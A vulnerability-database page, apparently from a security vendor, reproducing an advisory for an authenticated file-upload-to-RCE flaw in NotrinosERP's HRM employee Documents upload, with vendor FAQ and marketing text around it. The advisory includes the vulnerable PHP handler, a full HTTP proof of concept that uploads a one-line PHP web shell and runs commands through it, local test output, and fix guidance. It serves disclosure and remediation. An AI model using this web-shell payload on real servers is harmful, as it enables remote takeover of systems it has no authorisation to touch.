How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

361,925

Total vulnerabilities in the database

NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file) — notrinos / notrinos-erp

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

An authenticated user with the HR "Manage Employees" permission (SA_EMPLOYEE) can upload a file with an arbitrary extension through the employee Documents tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a .php file is stored under the web root and executes as code, yielding remote code execution on the server.

Details

The document-upload branch in hrm/manage/employees.php (function tab_documents()) moves the uploaded file using the client filename verbatim:

// hrm/manage/employees.php -&gt; tab_documents()  (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().&#039;/documents/employees&#039;;
if (!file_exists($upload_dir))
    mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.&#039;/&#039;.$employee_id.&#039;_&#039;.time().&#039;_&#039;.$_FILES[&#039;doc_file&#039;][&#039;name&#039;];
if (!move_uploaded_file($_FILES[&#039;doc_file&#039;][&#039;tmp_name&#039;], $file_path)) { ... }

There is no extension allow-list, getimagesize(), MIME check, or content inspection on this path. Contrast this with the profile photo (pic) upload in the same file, which validates image type/extension/size, and with core includes/ui/attachment.inc, which deliberately generates a random extension-less name (uniqid()) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.

Reachability of the written file:

company_path() resolves under the web root; config.default.php sets $comp_path = $path_to_root.'/company', so uploads land in company/0/documents/employees/.
The only .htaccess in the project is the repo-root one, which denies .inc/.po/.sh/.pem/.sql/.log only — it does not block .php and does not cover company/.
The stored path is then echoed unescaped into a clickable "View" link (hrm/includes/ui/employee_ui.inc lines 153-154 — file_path concatenated straight into href), handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).

A crafted multipart filename containing ../ additionally enables path traversal (CWE-22) on PHP builds that do not basename ['name'].

Proof of Concept

The upload is gated by authentication and CSRF, but neither gates the file itself. Prerequisites: an authenticated session with SA_EMPLOYEE; an existing employee (employee_no); a valid doc_type_id; and the session CSRF token. The CSRF field is _token (validated bycheck_csrf_token() against $_SESSION['csrf_token']), so first GET the Documents form to read the hidden _token, then submit. Against your own local instance:

POST /hrm/manage/employees.php?employee_no=1&amp;_tabs_sel=tab_documents HTTP/1.1
Host: &lt;your-local-instance&gt;
Cookie: &lt;authenticated session&gt;
Content-Type: multipart/form-data; boundary=b

--b
Content-Disposition: form-data; name=&quot;_token&quot;

&lt;value of the hidden _token field from the GET response&gt;
--b
Content-Disposition: form-data; name=&quot;doc_type_id&quot;

&lt;a valid document type id&gt;
--b
Content-Disposition: form-data; name=&quot;doc_name&quot;

x
--b
Content-Disposition: form-data; name=&quot;doc_file&quot;; filename=&quot;shell.php&quot;
Content-Type: application/x-php

&lt;?php system($_GET[&#039;c&#039;]); ?&gt;
--b
Content-Disposition: form-data; name=&quot;save_document&quot;

Save Document
--b--

Then request the stored file (its exact path is shown in the Documents tab's "View" link):

GET /company/0/documents/employees/1_&lt;unix_ts&gt;_shell.php?c=id HTTP/1.1

The command in c executes on the server.

Validation (performed locally, no network)

The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's verbatim path/move logic wrote company/0/documents/employees/1_<ts>_shell.php (attacker-chosen .php extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:

$ curl &#039;.../company/0/documents/employees/1_1783671979_shell.php?c=id&#039;
uid=501(...) gid=20(staff) ...
$ curl &#039;.../&lt;same&gt;.php?c=uname%20-sm;whoami&#039;
Darwin arm64
&lt;user&gt;

Caveats: (1) the harness used copy() in place of move_uploaded_file() because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (poc/rce_demo.php); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root .htaccess does not block .php and does not cover company/. The full HTTP flow additionally requires the auth + _token + doc_type_id prerequisites above, none of which inspect the file.

Impact

Remote code execution on the hosting server by any authenticated operator holding the delegable SA_EMPLOYEE role (not necessarily an administrator). If a deployment grants SA_EMPLOYEE only to administrators, treat privileges-required as High (CVSS ≈ 7.2).

Suggested fix

Never use the client filename on disk. Store with a server-generated name and no executable extension (mirror includes/ui/attachment.inc's uniqid() approach); keep the original name only as a DB label.
Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the pic branch already does.
Store uploads outside the web root, or drop an .htaccess/web.config in company/*/documents/ that disables script execution (php_admin_flag engine off, RemoveHandler .php, SetHandler none).
htmlspecialchars() the stored path before emitting the "View" link (fixes the secondary XSS).

Resources / credit

Affected code: hrm/manage/employees.php, hrm/includes/db/employee_document_db.inc, hrm/includes/ui/employee_ui.inc.
Reported by: <Kasper Hong / Kasper Builds>.

Published: Jul 10, 2026
Updated: Jul 11, 2026
GHSA: GHSA-qv4m-m73m-8hj7
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWEs:

OWASP TOP 10:

A5 - Broken Access Control

Affected Software
References

Software	From	Fixed in
notrinos / notrinos-erp	-	1.0.0.x

https://github.com/notrinos/NotrinosERP/security/advisories/GHSA-qv4m-m73m-8hj7

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.